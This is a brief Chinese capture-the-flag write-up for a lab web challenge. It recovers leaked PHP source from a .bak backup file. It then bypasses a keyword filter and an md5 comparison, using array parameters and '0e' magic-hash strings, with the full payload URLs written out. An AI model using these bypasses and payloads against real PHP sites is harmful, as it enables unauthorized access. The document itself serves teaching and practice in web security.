[题目链接](http://123.206.87.240:8002/web16/)
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e
首先进入页面发现如上字符串,刚开始试了各种decode,发现没有效果;之后就看了writeup(毕竟刚开始),根据大佬的说法,从题目下手‘备份’,仔细想想这应该是一个敏感备份文件泄露,而发现 备份 的 后缀文件为 bak,所以就把这个添加到url的后面,http://123.206.87.240:8002/web16/index.php.bak,之后就可以看到这个php文件了
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?');//找到?(包括?)后的字符串 $str = substr($str,1);//去掉? $str = str_replace('key','',$str);//在已经提取到的字符串中的'key'替换为' ' parse_str($str);//将字符串解析到变量中 echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>构造语句 kkeyey 或 kekeyy ,最后需要构造两个(值不相等但MD5值相等)value ,问题来了?
##如何构造这样的两个value
有两种方法:
1.md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=1
2.利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708
如此便成功得到flag